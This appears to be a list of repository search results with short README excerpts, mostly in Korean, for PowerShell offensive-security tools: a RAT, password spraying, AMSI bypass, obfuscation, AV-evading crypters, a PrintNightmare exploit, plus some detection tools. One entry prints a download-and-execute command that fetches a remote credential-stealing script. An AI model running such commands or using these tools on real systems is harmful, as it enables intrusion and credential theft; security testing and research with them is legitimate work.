3997 matches found
win-rat
win-rat 참고: 이 저장소는 현재 테스트 중입니다.......곧 새 버전을 업로드하겠습니다. Virustotal 결과: https://www.virustotal.com/gui/file/9fe32a10054b824b10cc24eb6ac1c96b5b8d4b3e730e4120c2a9891bc3d29a38/detection 연락처: Telegram:- https://t.me/machine1337 경고: powershell 또는 exe 페이로드를 virustotal에 업로드하지 마십시오. 이미 제가 대신 업로드했기 때문입니다...
AD_Enumeration_Hunt
ADEnumerationHunt 설명 AD 펜테스팅 툴킷에 오신 것을 환영합니다! 이 저장소에는 Active DirectoryAD 침투 테스트 및 보안 평가에 사용할 수 있는 PowerShell 스크립트 및 명령어 모음이 포함되어 있습니다. 스크립트는 AD 열거, 사용자 및 그룹 관리, 컴퓨터 열거, 네트워크 및 보안 분석 등 다양한 측면을 다룹니다. 이 툴킷은 Active Directory 환경의 보안을 테스트하고 평가하려는 침투 테스터, 레드 팀 구성원 및 보안 전문가를 대상으로 합니다. 프로덕션 환경에서 이러한 스크립트를...
MSOLSpray
MSOLSpray Microsoft Online 계정Azure/O365을 위한 비밀번호 스프레이 도구입니다. 이 스크립트는 사용자 자격 증명이 유효한지, 계정에 MFA가 활성화되어 있는지, 테넌트가 존재하지 않는지, 사용자가 존재하지 않는지, 계정이 잠겼는지, 또는 계정이 비활성화되었는지 기록합니다. 계정이 잠기지 않도록 매우 주의하십시오! 왜 또 다른 스프레이 도구인가? 네, O365/Azure를 위한 다른 비밀번호 스프레이 도구들이 있다는 것을 알고 있습니다. 이 도구의 주요 차이점은 유효한 비밀번호를 찾는 것뿐만 아니라...
Stracciatella
Stracciatella v0.7 C 내부에서 Powershell runspace 일명 SharpPick 기법를 통해 AMSI, ETW, 스크립트 블록 로깅을 비활성화하여 제공합니다. 오늘날 Powershell은 다음과 같은 기술로 심각하게 계측되었습니다: AMSI ETW 스크립트 블록 로깅 기록 파일Transcript 모듈 로깅 제한된 언어 모드Constrained Language Mode 고급 공격자는 정교한 적대적 시뮬레이션 훈련을 수행하기 위해 이러한 노력을 우회할 방법을 찾아야 합니다. 이러한 노력을 돕기 위해 다음...
attack_monitor
Attack Monitor Attack Monitor is Python application written to enhance security monitoring capabilites of Windows 7/2008 and all later versions workstations/servers and to automate dynamic analysis of malware. Current modes mutually exclusive: Endpoint detection ED Malware analysis on dedicated...
Invoke-PSObfuscation
Invoke-PSObfuscation 전통적인 난독화 기법은 base64나 압축과 같이 기존 코드를 감싸는 레이어를 추가하는 경향이 있습니다. 이러한 페이로드는 다양한 성공률을 보이지만, 의도된 페이로드를 추출하는 것은 사소한 일이 되었고 일부 실행기launcher는 자주 탐지되어 본질적으로 병목 지점을 만듭니다. 이 도구가 도입하는 접근 방식은 스크립트의 개별 구성 요소를 무작위 변형으로 대상으로 삼아 난독화하면서도 동일한 의도된 로직을 달성하는 방법론입니다. 전체 페이로드를 단일 레이어에 캡슐화하지 않습니다. 난독화 로직의...
Active-Directory-Exploitation-Cheat-Sheet
Active Directory 치트 시트 이 저장소는 Active Directory 환경에서의 일반적인 방법론을 포함합니다. Powershell, C, .Net 3.5 및 .Net 4.5 기반의 가장 효율적인 도구에서 제공하는 빠른 명령어 모음을 제공합니다. 일반 프로세스: 정찰 도메인 열거 로컬 권한 상승 로컬 계정 탈취 잠재적 유입 계정 모니터링 로컬 계정 탈취 관리자 정찰 측면 이동 원격 관리 도메인 관리자 권한 트러스트 간 공격 지속성 및 데이터 유출 Active Directory 킬 체인: 치트 시트 트리: /A - ...
Conveigh
Conveigh Conveigh는 Windows PowerShell LLMNR/NBNS 스푸퍼 탐지 도구입니다. 기능 Invoke-Conveigh Conveigh LLMNR/NBNS 스푸퍼 탐지의 주요 함수입니다. 권한 요구 사항: 상승된 관리자 셸 특징: 무작위 또는 설정된 호스트 이름으로 IPv4 LLMNR/NBNS 요청을 생성 및 전송 전송된 IPv4 LLMNR/NBNS 요청에 대한 응답을 패킷 스니퍼를 사용하여 탐지 옵션으로 수신된 모든 IPv4 LLMNR/NBNS 요청을 패킷 스니퍼를 사용하여 표시 파일 출력 실행 시...
credgrap_ie_edge
credgrapieedge 내용: Internet Explorer 및 Edge에서 저장된 자격 증명 추출 저자: Florian Hansemann | @HanseSecure | https://hansesecure.de 날짜: 04/2018 사용법 powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" 권장사항 PowerShell 해결 방법...
Set-AuditRule
Set-AuditRule 유용한 접근 제어 항목ACE들을 모아 놓은 저장소로, 보안 가능 개체의 보안 설명자에 있는 시스템 액세스 제어 목록SACL에 추가하여 잠재적인 적대적 활동을 모니터링할 수 있습니다. 이러한 항목은 파일, 레지스트리 키, Active Directory 개체와 같은 특정 보안 가능 개체별로 분류됩니다. 또한 이 프로젝트에는 대규모로 프로그래밍 방식으로 감사 규칙을 설정할 수 있는 PowerShell 스크립트가 포함되어 있습니다. 이 스크립트는 PowerShell 동적 매개변수를 활용하여 자동 완성 기능을...
RiskySPN
RiskySPNs RiskySPNs는 SPN서비스 사용자 이름과 관련된 계정을 탐지하고 악용하는 데 초점을 맞춘 PowerShell 스크립트 모음입니다. 이 모듈은 청팀이 잠재적으로 위험한 SPN을 식별하는 데 도움을 줄 뿐만 아니라, 적팀이 Kerberos 및 Active Directory를 활용하여 권한을 상승시키는 데에도 사용할 수 있습니다. 자세한 정보: http://www.cyberark.com/blog/service-accounts-weakest-link-chain/ 사용법 모듈 설치 Import-Module...
PowerSharpPack
후원 PowerSharpPack 유용한 공격적 CSharp 프로젝트 여러 개를 Powershell로 감싸서 쉽게 사용할 수 있도록 했습니다. 왜? 제 개인적인 의견으로는 AMSI, 스크립트 블록 로깅, 제한된 언어 모드 또는 기타 보호 기능 때문에 공격적인 Powershell이 죽은 것은 아닙니다. 이러한 메커니즘은 모두 우회될 수 있습니다. 대부분의 새로운 혁신적인 공격 보안 프로젝트가 C으로 작성되기 때문에, 저는 이를 powershell에서도 사용할 수 있도록 만들기로 결정했습니다. 그래서 기본적으로 무엇을 했을까요? 1...
Veil-PowerView
PowerTools Veil의 PowerTools는 공격적 작전에 중점을 둔 PowerShell 프로젝트 모음입니다. @harmj0y와 @sixdub에 의해 개발되었습니다...
CVE-2021-1675
CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 2021년 7월 1일 CVE-2021-1675는 "PrintNightmare"라고 불리는 중요한 원격 코드 실행 및 로컬 권한 상승 취약점입니다. 개념 증명PoC 익스플로잇이 원격 코드 실행 기능을 위해 Python, C++로 공개되었으며, 로컬 권한 상승을 위한 C 버전도 있습니다. 우리는 순수 PowerShell로 구현된 네이티브 버전을 본 적이 없었고, 익스플로잇을 개선하고 재구성해보고...
Invoke-DumpMDEConfig
DumpMDEConfig PowerShell 스크립트 개요 Invoke-DumpMDEConfig는 Microsoft Defender 구성 및 로그제외 경로, 활성화된 ASR 규칙, 허용된 위협, 보호 기록, Exploit Guard 보호 기록 포함를 추출하고 표시하도록 설계된 PowerShell 스크립트입니다. 이 스크립트는 데이터를 테이블 또는 CSV 형식으로 출력하는 옵션을 제공합니다. 사용법 To run the script and output the results in list format:...
PowerShellArsenal
PowerShellArsenal은 리버스 엔지니어를 지원하는 PowerShell 모듈입니다. 이 모듈은 관리 코드 및 비관리 코드 디스어셈블, .NET 악성코드 분석, 메모리 분석/스캔, 파일 형식 및 메모리 구조 파싱, 내부 시스템 정보 획득 등에 사용할 수 있습니다. PowerShellArsenal은 다음 도구로 구성됩니다: 디스어셈블리 Disassembly 네이티브 및 관리 코드 디스어셈블. Get-CSDisassembly Capstone Engine 디스어셈블리 프레임워크를 사용하여 바이트 배열을 디스어셈블합니다...
powersap
PowerSAP PowerSAP is a simple powershell re-implementation of popular & effective techniques of all public tools such as Bizploit, Metasploit auxiliary modules, or python scripts available on the Internet. This re-implementation does not contain any new or undisclosed vulnerability. PowerSAP allo...
powersap
PowerSAP PowerSAP은 Bizploit, Metasploit 보조 모듈 또는 인터넷에서 사용할 수 있는 Python 스크립트와 같은 공개 도구의 인기 있고 효과적인 기술을 예를 들어 간단한 PowerShell로 재구현한 것입니다. 이 재구현은 새로운 취약점이나 공개되지 않은 취약점을 포함하지 않습니다. PowerSAP을 사용하면 .Net 커넥터 'NCo'를 통해 SAP RFC에 접근할 수 있습니다. 크레딧 모든 크레딧은 다음에게 돌아갑니다: Onapsis - Mariano, Jordan… ERPScan @chipik...
BetterXencrypt
\ / | / | \ / / ../ | | | // \/ \ // \ / / | | / | | | | //\ | / | / ||/| | / / / / / / / / || BetterXencrypt Xencrypt의 개선된 버전입니다. Xencrypt 자체는 AV를 우회하도록 설계된 Powershell 런타임 크립터입니다. Xencrypt는 더 이상 FUD가 아니며 AMSI에 쉽게 탐지되기 때문에, 스텁을 다시 코딩하여 다시 FUD로 만들었습니다. 그리고 원본 Xencrypt는 스크린샷 증거를 보면 Windows 8에서...